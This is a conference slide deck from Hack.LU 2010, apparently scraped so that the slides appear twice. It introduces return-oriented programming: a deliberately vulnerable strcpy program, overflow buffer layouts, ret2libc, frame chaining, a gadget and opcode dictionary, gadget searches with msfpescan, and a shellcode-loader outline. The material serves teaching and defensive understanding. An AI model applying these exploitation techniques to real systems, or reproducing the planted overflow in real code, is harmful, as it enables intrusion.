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Introduction to ROP
a first look at return oriented programming
Saumil Shah, Net-Square
Hack.LU 2010 - Luxembourg
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Introduction
• DEP
• EIP control
• Ret2LibC
• Return Oriented Programming
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DEP
• Hardware enforced (NX).
• Data areas marked non-executable.
– Stack marked non-executable.
– Heap marked non-executable.
• You can load your shellcode in the stack
or the heap...
• ...but you can't jump to it.
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EIP control
• Stack - forbidden
• Heap - forbidden
• Binary - OK
• DLLs - OK
Program Image
Heap
Stack
DLL
DLL
DLL
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Ret2LibC
• Return to LibC.
• Pioneered by Solar Designer in 1997.
• EIP made to "return to a function".
• Need control of the stack memory.
– We usually have it.
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Ret2LibC - how does it work?
• Create a fake frame on the stack.
• After an overflowed function returns...
• ...set the EIP return address to the new
function.
• Append the fake frame.
• New function executes.
– parameters consumed from the fake frame.
• system("/bin/sh")
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Return Oriented Programming
• Series of function returns.
• Chained frames.
• Transform EIP based primitives into stubs
that can be "returned into".
• ESP is the new EIP!
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Topics
• Function calls and returns
• Stack overflows revisited
• Creating stack frames
• Chaining frames
• ESP control
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Calling a function
• Add two ints x, y.
• add(3,4)
• What does the calling
frame look like?
void add(int x, int y)
{
int sum;
sum = x + y;
printf("%dn", sum);
}
int main()
{
add(3, 4);
}
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Stack frame for add(3,4)
frame for add()
return address from add()
3
4
call add
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Return from add(3,4)
• add() is about to return.
• RET after epilogue of add().
• Where does ESP point to?
– immediately before the RET
• What does the stack look like?
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Before the RET
return address from add()
3
4
ESP
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Another function
• Stack overflow in
func1.
• Can we call add(5, 6)
after returning from
func1?
void func1(char *s)
{
char buffer[128];
strcpy(buffer, s);
}
int main()
{
func1(argv[1]);
}
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Stack frame for func1()
buffer
return address from func1
s
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strcpy(buffer, s)
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
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Before the RET
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
ESP
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After the RET
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAA
AAAA
AAAA
AAAA
EIP = 0x41414141
ESP
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Return to add()
• Insert a fake frame in the buffer.
• Make func1() return to:
add(01010101, 02020202)
• What does the stack frame look like?
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strcpy(buffer, s)
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
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Before func1() returns
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
ESP
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Return to add()
buffer
return address from func1
s
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
address of add
return address from add
01010101
02020202
ESP
EIP = add()
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Return to add()
• By carefully creating a frame...
• ...we can make the program "return to
our function".
• We control the parameters.
• We also control where to jump to after
our function returns.
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victim2.c
int main(int argc, char *argv[])
{
add(3, 4);
func1(argv[1]);
}
void func1(char *s)
{
char buffer[128];
strcpy(buffer, s);
}
void print_hello(void)
{
printf("Hello Worldn");
}
void add(int x, int y)
{
int sum;
sum = x + y;
printf("%d + %d = %dn", x, y, sum);
}
stack overflow lurks here!
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victim2.c
• Compile victim2.c
• Run victim2 under a debugger
• Study the stack frame before add(3, 4)
gcc victim2.c -o victim2
gdb victim2
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gdb'ing add
• Set a breakpoint before add(3, 4)
0x804836c <main>: push %ebp
0x804836d <main+1>: mov %esp,%ebp
0x804836f <main+3>: sub $0x8,%esp
0x8048372 <main+6>: and $0xfffffff0,%esp
0x8048375 <main+9>: mov $0x0,%eax
0x804837a <main+14>: sub %eax,%esp
0x804837c <main+16>: sub $0x8,%esp
0x804837f <main+19>: push $0x4
0x8048381 <main+21>: push $0x3
0x8048383 <main+23>: call 0x80483de <add>
0x8048388 <main+28>: add $0x10,%esp
0x804838b <main+31>: cmpl $0x1,0x8(%ebp)
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Stack frame before add(3, 4)
• Dump the stack
• Continue
(gdb) x/64 $esp
0xbffff8ac: 0x08048388 0x00000003 0x00000004 0xbffff8c8
0xbffff8bc: 0x0804841c 0x40148f50 0x40012780 0xbffff8e8
0x08048388
3
4
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Overflowing func1()
• Overflow func1 and...
...return to add(01010101, 02020202)
• Create a fake frame.
• Overwrite stack.
• frame1.pl
return from func1
param1
param2
return from add
0x080483de
0x01010101
0x02020202
0x42424242
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frame1.pl
• Creates the overflow buffer as follows:
• Set this in an environment variable EGG
and run victim2 with $EGG:
080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202
distance
to EIP
address
of add
return
from add
param1 param2
export EGG=`./frame1.pl`
gdb victim2
(gdb) run $EGG
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ESP
• Where will ESP be after returning from
add?
• Verify
080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202
(gdb) x/64 $esp
0xbffff824: 0x01010101 0x02020202 0x08048400 0x40148f50
0xbffff834: 0x40012780 0xbffff858 0x4002e7f7 0x00000002
ESP
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Chaining functions
• After add(01010101, 02020202), we want
to run add(03030303, 04040404).
• How should we set up the frames?
• First, study the frame after add() returns.
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After add() returns
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
address of add
42424242
01010101
02020202
ESP
EIP = 42424242
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Where does the new frame go?
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
address of add
42424242
01010101
02020202
address of add
??
03030303
04040404
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Where does the new frame go?
• We get only ONE chance at strcpy.
• How do we preserve params 01010101
and 02020202?
• We can only APPEND the second frame
below our first frame.
• We have to UNWIND the first frame
before returning to the second frame.
• Return to epilogue!
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Chaining the frames
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address of add
address of POP/POP/RET
01010101
02020202
address of add
42424242
03030303
04040404
add(01010101, 02020202)
add(03030303, 04040404)
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Keeping ESP in control
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address of add
address of POP/POP/RET
01010101
02020202
address of add
42424242
03030303
04040404
Return from func1
Return to add()
Return to POP/POP/RET
POP
POP
ESP
RET - Return to add()
Finally EIP = 0x42424242
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frame2.pl
• Creates the overflow buffer as follows:
080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202
distance
to EIP
address
of add
POP/POP
/RET
param1 param2
080483de 42424242 03030303 04040404
address
of add
return
from add
param1 param2 Use msfelfscan to
find the address of
POP/POP/RET from
victim2 binary.
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frame2.pl
• Set this in an environment variable EGG
and run victim2 with $EGG:
export EGG=`./frame2.pl`
gdb victim2
(gdb) run $EGG
Starting program: /home/user0/victim2 $EGG
3 + 4 = 7
1010101 + 2020202 = 3030303
3030303 + 4040404 = 7070707
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
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It's all about ESP!
• ESP is the new EIP.
• ROP involves keeping the ESP moving
through the frames on the stack.
• Frames can be chained by returning to
epilogues of functions.
– to appropriately unwind the parameters
pushed on the stack.
• We must never lose sight of RET.
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ROP frames - generic approach
f1(A, B)
f2(X)
f1(C, D)
f3(P, Q, R, S)
f2(Y)
:
:
& f1()
& POP/POP/RET
A
B
& f2()
& POP/RET
X
& f3()
& POPAD/RET
P
Q
R
& f1()
& POP/POP/RET
C
D
junk
junk
junk
& f2()
& POP/RET
Y
S
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Topics
• Transforming classic EIP code to ROP
• ROP vs. classic programming
• Thinking in ROP terms
• Assembling frames
• Gadgets
• Searching for gadgets
• Generic techniques
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EIP vs. ESP
Classic EIP code
• N ops = N instructions.
• EIP increments.
• ESP fluctuates.
• The CPU increments EIP
automatically.
ROP code
• N ops = N frames.
• ESP increments.
• EIP fluctuates.
• We have to control ESP
through RET instructions.
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Transform EIP code to ROP
• Load two registers
• Call a function
– with params 3,4
• How does this
translate in ROP
terms?
mov eax, 14
mov ecx, 02500000
push 3
push 4
call 77fe3210
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Thinking in ROP terms
??
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
ESP
Put 14 in the next stack word, and POP
it into EAX.
RET
function body
epilogue
prologue
vulnerable function
EIP
mov eax, 14
RET
POP EAX
POP EBX
functionX
700344fe
700344fd
700344ff
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Thinking in ROP terms
700344fe
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14ESP
RET
function body
epilogue
prologue
vulnerable function
EIP
Jump to address of "POP EAX; RET".
Search function epilogues.
RET
POP EAX
POP EBX
functionX
mov eax, 14
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Thinking in ROP terms
700344fe
??
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
ESP
RET
function body
epilogue
prologue
vulnerable function
EIP
Place 02500000 as the next stack word,
to be loaded into ECX.
RET
POP EAX
POP EBX
functionX
eax = 00000014
mov ecx, 02500000
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Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
RET
function body
epilogue
prologue
vulnerable function
We now need an address of a "POP ECX;
RET" sequence.
RET
POP EAX
POP EBX
functionX
RET
POP ECX
functionY
ESP EIP
eax = 00000014
mov ecx, 02500000
6d894430
6d894431
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Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000ESP
RET
function body
epilogue
prologue
vulnerable function
02500000 is popped into ECX.
RET
POP EAX
POP EBX
functionX
EIP
RET
POP ECX
functionY
eax = 00000014
mov ecx, 02500000
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Thinking in ROP terms
700344fe
6d894430
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA
14
02500000
??ESP
RET
function body
epilogue
prologue
vulnerable function
We now need to call a function at
77fe3210, with parameters 3, 4
RET
POP EAX
POP EBX
functionX
EIP RET
POP ECX
functionY
push 3; push 4; call 77fe3210
eax = 00000014 ecx = 02500000
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Gadget Dictionary
POP EAX; RET
Load value into
register
value
POP ECX; RET
Read memory at
address
address
ADD EAX,n; RET
Add
MOV EAX,[ECX]; RET
POP EAX; RET
Write value at
address
address
POP ECX; RET
value
MOV [EAX],ECX; RET
INC EAX; RET
Increment
address of function
Call a function
param cleanup
param 1
param 2
RET
NOP
param N
POP; POP ... RET
ADD ESP,24; RET
POPAD; RET
POP EAX; RET
Call a function
pointer
address
CALL [EAX]; RET
XCHG EAX,ESP; RET
Stack flip ESP=EAX
LEAVE; RET
Stack flip ESP=EBP
POP ESP; RET
Stack flip ESP=addr
address
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Instruction Opcodes
Instruction Opcodes
RET C3
RET n C2 16bits
POP EAX 58
POP ECX 59
MOV EAX,[ECX] 8B 01
MOV [EAX],ECX 89 08
MOV [ECX],EAX 89 01
INC EAX 40
ADD EAX, n 83 C0 8bits
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Instruction Opcodes
Instruction Opcodes
POP EBX/EDX/ESI/EDI/EBP 5B/5A/5E/5F/5D
POPAD 61
ADD ESP,24 83 C4 18
CALL [EAX] FF 10
XCHG EAX,ESP 94
LEAVE C9 (mov esp,ebp; pop ebp)
POP ESP 5C
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Searching for Gadgets
• Use msfpescan's regex search.
• Example: MOV EAX,[ECX]; RET
msfpescan -D -r 'x8Bx01xC3' <file>
msfpescan -D -r 'x8Bx01xC2.x00' <file>
msfpescan -D -r 'x8Bx01.xC3' <file>
msfpescan -D -r 'x8Bx01..xC3' <file>
• Sometimes you may need to improvise.
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Generic Techniques
• Run arbitrary shellcode.
• Difficult to transform entire shellcode to
ROP frames.
• Create a ROP loader:
– Allocate RWX memory
– Copy classic shellcode to this memory
– Jump to shellcode
• Load and run any shellcode.
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DEMO TIME!
• Java JNLP docbase overflow
• Exploiting IE8 using ROP
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KTHXBAI!
saumil@net-square.com
linked-in: saumilshah
no LOLcats were harmed in preparation of these slides

An introduction to ROP

  • 1.
    net-square Introduction to ROP afirst look at return oriented programming Saumil Shah, Net-Square Hack.LU 2010 - Luxembourg
  • 2.
    net-square Introduction • DEP • EIPcontrol • Ret2LibC • Return Oriented Programming
  • 3.
    net-square DEP • Hardware enforced(NX). • Data areas marked non-executable. – Stack marked non-executable. – Heap marked non-executable. • You can load your shellcode in the stack or the heap... • ...but you can't jump to it.
  • 4.
    net-square EIP control • Stack- forbidden • Heap - forbidden • Binary - OK • DLLs - OK Program Image Heap Stack DLL DLL DLL
  • 5.
    net-square Ret2LibC • Return toLibC. • Pioneered by Solar Designer in 1997. • EIP made to "return to a function". • Need control of the stack memory. – We usually have it.
  • 6.
    net-square Ret2LibC - howdoes it work? • Create a fake frame on the stack. • After an overflowed function returns... • ...set the EIP return address to the new function. • Append the fake frame. • New function executes. – parameters consumed from the fake frame. • system("/bin/sh")
  • 7.
    net-square Return Oriented Programming •Series of function returns. • Chained frames. • Transform EIP based primitives into stubs that can be "returned into". • ESP is the new EIP!
  • 8.
    net-square Topics • Function callsand returns • Stack overflows revisited • Creating stack frames • Chaining frames • ESP control
  • 9.
    net-square Calling a function •Add two ints x, y. • add(3,4) • What does the calling frame look like? void add(int x, int y) { int sum; sum = x + y; printf("%dn", sum); } int main() { add(3, 4); }
  • 10.
    net-square Stack frame foradd(3,4) frame for add() return address from add() 3 4 call add
  • 11.
    net-square Return from add(3,4) •add() is about to return. • RET after epilogue of add(). • Where does ESP point to? – immediately before the RET • What does the stack look like?
  • 12.
    net-square Before the RET returnaddress from add() 3 4 ESP
  • 13.
    net-square Another function • Stackoverflow in func1. • Can we call add(5, 6) after returning from func1? void func1(char *s) { char buffer[128]; strcpy(buffer, s); } int main() { func1(argv[1]); }
  • 14.
    net-square Stack frame forfunc1() buffer return address from func1 s
  • 15.
    net-square strcpy(buffer, s) buffer return addressfrom func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAA AAAA AAAA AAAA
  • 16.
    net-square Before the RET buffer returnaddress from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAA AAAA AAAA AAAA ESP
  • 17.
    net-square After the RET buffer returnaddress from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAA AAAA AAAA AAAA EIP = 0x41414141 ESP
  • 18.
    net-square Return to add() •Insert a fake frame in the buffer. • Make func1() return to: add(01010101, 02020202) • What does the stack frame look like?
  • 19.
    net-square strcpy(buffer, s) buffer return addressfrom func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA address of add return address from add 01010101 02020202
  • 20.
    net-square Before func1() returns buffer returnaddress from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA address of add return address from add 01010101 02020202 ESP
  • 21.
    net-square Return to add() buffer returnaddress from func1 s AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA address of add return address from add 01010101 02020202 ESP EIP = add()
  • 22.
    net-square Return to add() •By carefully creating a frame... • ...we can make the program "return to our function". • We control the parameters. • We also control where to jump to after our function returns.
  • 23.
    net-square victim2.c int main(int argc,char *argv[]) { add(3, 4); func1(argv[1]); } void func1(char *s) { char buffer[128]; strcpy(buffer, s); } void print_hello(void) { printf("Hello Worldn"); } void add(int x, int y) { int sum; sum = x + y; printf("%d + %d = %dn", x, y, sum); } stack overflow lurks here!
  • 24.
    net-square victim2.c • Compile victim2.c •Run victim2 under a debugger • Study the stack frame before add(3, 4) gcc victim2.c -o victim2 gdb victim2
  • 25.
    net-square gdb'ing add • Seta breakpoint before add(3, 4) 0x804836c <main>: push %ebp 0x804836d <main+1>: mov %esp,%ebp 0x804836f <main+3>: sub $0x8,%esp 0x8048372 <main+6>: and $0xfffffff0,%esp 0x8048375 <main+9>: mov $0x0,%eax 0x804837a <main+14>: sub %eax,%esp 0x804837c <main+16>: sub $0x8,%esp 0x804837f <main+19>: push $0x4 0x8048381 <main+21>: push $0x3 0x8048383 <main+23>: call 0x80483de <add> 0x8048388 <main+28>: add $0x10,%esp 0x804838b <main+31>: cmpl $0x1,0x8(%ebp)
  • 26.
    net-square Stack frame beforeadd(3, 4) • Dump the stack • Continue (gdb) x/64 $esp 0xbffff8ac: 0x08048388 0x00000003 0x00000004 0xbffff8c8 0xbffff8bc: 0x0804841c 0x40148f50 0x40012780 0xbffff8e8 0x08048388 3 4
  • 27.
    net-square Overflowing func1() • Overflowfunc1 and... ...return to add(01010101, 02020202) • Create a fake frame. • Overwrite stack. • frame1.pl return from func1 param1 param2 return from add 0x080483de 0x01010101 0x02020202 0x42424242
  • 28.
    net-square frame1.pl • Creates theoverflow buffer as follows: • Set this in an environment variable EGG and run victim2 with $EGG: 080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202 distance to EIP address of add return from add param1 param2 export EGG=`./frame1.pl` gdb victim2 (gdb) run $EGG
  • 29.
    net-square ESP • Where willESP be after returning from add? • Verify 080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202 (gdb) x/64 $esp 0xbffff824: 0x01010101 0x02020202 0x08048400 0x40148f50 0xbffff834: 0x40012780 0xbffff858 0x4002e7f7 0x00000002 ESP
  • 30.
    net-square Chaining functions • Afteradd(01010101, 02020202), we want to run add(03030303, 04040404). • How should we set up the frames? • First, study the frame after add() returns.
  • 31.
  • 32.
    net-square Where does thenew frame go? AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA address of add 42424242 01010101 02020202 address of add ?? 03030303 04040404
  • 33.
    net-square Where does thenew frame go? • We get only ONE chance at strcpy. • How do we preserve params 01010101 and 02020202? • We can only APPEND the second frame below our first frame. • We have to UNWIND the first frame before returning to the second frame. • Return to epilogue!
  • 34.
    net-square Chaining the frames AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA addressof add address of POP/POP/RET 01010101 02020202 address of add 42424242 03030303 04040404 add(01010101, 02020202) add(03030303, 04040404)
  • 35.
    net-square Keeping ESP incontrol AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA address of add address of POP/POP/RET 01010101 02020202 address of add 42424242 03030303 04040404 Return from func1 Return to add() Return to POP/POP/RET POP POP ESP RET - Return to add() Finally EIP = 0x42424242
  • 36.
    net-square frame2.pl • Creates theoverflow buffer as follows: 080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202 distance to EIP address of add POP/POP /RET param1 param2 080483de 42424242 03030303 04040404 address of add return from add param1 param2 Use msfelfscan to find the address of POP/POP/RET from victim2 binary.
  • 37.
    net-square frame2.pl • Set thisin an environment variable EGG and run victim2 with $EGG: export EGG=`./frame2.pl` gdb victim2 (gdb) run $EGG Starting program: /home/user0/victim2 $EGG 3 + 4 = 7 1010101 + 2020202 = 3030303 3030303 + 4040404 = 7070707 Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
  • 38.
    net-square It's all aboutESP! • ESP is the new EIP. • ROP involves keeping the ESP moving through the frames on the stack. • Frames can be chained by returning to epilogues of functions. – to appropriately unwind the parameters pushed on the stack. • We must never lose sight of RET.
  • 39.
    net-square ROP frames -generic approach f1(A, B) f2(X) f1(C, D) f3(P, Q, R, S) f2(Y) : : & f1() & POP/POP/RET A B & f2() & POP/RET X & f3() & POPAD/RET P Q R & f1() & POP/POP/RET C D junk junk junk & f2() & POP/RET Y S
  • 40.
    net-square Topics • Transforming classicEIP code to ROP • ROP vs. classic programming • Thinking in ROP terms • Assembling frames • Gadgets • Searching for gadgets • Generic techniques
  • 41.
    net-square EIP vs. ESP ClassicEIP code • N ops = N instructions. • EIP increments. • ESP fluctuates. • The CPU increments EIP automatically. ROP code • N ops = N frames. • ESP increments. • EIP fluctuates. • We have to control ESP through RET instructions.
  • 42.
    net-square Transform EIP codeto ROP • Load two registers • Call a function – with params 3,4 • How does this translate in ROP terms? mov eax, 14 mov ecx, 02500000 push 3 push 4 call 77fe3210
  • 43.
    net-square Thinking in ROPterms ?? AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 ESP Put 14 in the next stack word, and POP it into EAX. RET function body epilogue prologue vulnerable function EIP mov eax, 14 RET POP EAX POP EBX functionX 700344fe 700344fd 700344ff
  • 44.
    net-square Thinking in ROPterms 700344fe AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14ESP RET function body epilogue prologue vulnerable function EIP Jump to address of "POP EAX; RET". Search function epilogues. RET POP EAX POP EBX functionX mov eax, 14
  • 45.
    net-square Thinking in ROPterms 700344fe ?? AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000 ESP RET function body epilogue prologue vulnerable function EIP Place 02500000 as the next stack word, to be loaded into ECX. RET POP EAX POP EBX functionX eax = 00000014 mov ecx, 02500000
  • 46.
    net-square Thinking in ROPterms 700344fe 6d894430 AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000 RET function body epilogue prologue vulnerable function We now need an address of a "POP ECX; RET" sequence. RET POP EAX POP EBX functionX RET POP ECX functionY ESP EIP eax = 00000014 mov ecx, 02500000 6d894430 6d894431
  • 47.
    net-square Thinking in ROPterms 700344fe 6d894430 AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000ESP RET function body epilogue prologue vulnerable function 02500000 is popped into ECX. RET POP EAX POP EBX functionX EIP RET POP ECX functionY eax = 00000014 mov ecx, 02500000
  • 48.
    net-square Thinking in ROPterms 700344fe 6d894430 AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA 14 02500000 ??ESP RET function body epilogue prologue vulnerable function We now need to call a function at 77fe3210, with parameters 3, 4 RET POP EAX POP EBX functionX EIP RET POP ECX functionY push 3; push 4; call 77fe3210 eax = 00000014 ecx = 02500000
  • 49.
    net-square Gadget Dictionary POP EAX;RET Load value into register value POP ECX; RET Read memory at address address ADD EAX,n; RET Add MOV EAX,[ECX]; RET POP EAX; RET Write value at address address POP ECX; RET value MOV [EAX],ECX; RET INC EAX; RET Increment address of function Call a function param cleanup param 1 param 2 RET NOP param N POP; POP ... RET ADD ESP,24; RET POPAD; RET POP EAX; RET Call a function pointer address CALL [EAX]; RET XCHG EAX,ESP; RET Stack flip ESP=EAX LEAVE; RET Stack flip ESP=EBP POP ESP; RET Stack flip ESP=addr address
  • 50.
    net-square Instruction Opcodes Instruction Opcodes RETC3 RET n C2 16bits POP EAX 58 POP ECX 59 MOV EAX,[ECX] 8B 01 MOV [EAX],ECX 89 08 MOV [ECX],EAX 89 01 INC EAX 40 ADD EAX, n 83 C0 8bits
  • 51.
    net-square Instruction Opcodes Instruction Opcodes POPEBX/EDX/ESI/EDI/EBP 5B/5A/5E/5F/5D POPAD 61 ADD ESP,24 83 C4 18 CALL [EAX] FF 10 XCHG EAX,ESP 94 LEAVE C9 (mov esp,ebp; pop ebp) POP ESP 5C
  • 52.
    net-square Searching for Gadgets •Use msfpescan's regex search. • Example: MOV EAX,[ECX]; RET msfpescan -D -r 'x8Bx01xC3' <file> msfpescan -D -r 'x8Bx01xC2.x00' <file> msfpescan -D -r 'x8Bx01.xC3' <file> msfpescan -D -r 'x8Bx01..xC3' <file> • Sometimes you may need to improvise.
  • 53.
    net-square Generic Techniques • Runarbitrary shellcode. • Difficult to transform entire shellcode to ROP frames. • Create a ROP loader: – Allocate RWX memory – Copy classic shellcode to this memory – Jump to shellcode • Load and run any shellcode.
  • 54.
    net-square DEMO TIME! • JavaJNLP docbase overflow • Exploiting IE8 using ROP
  • 55.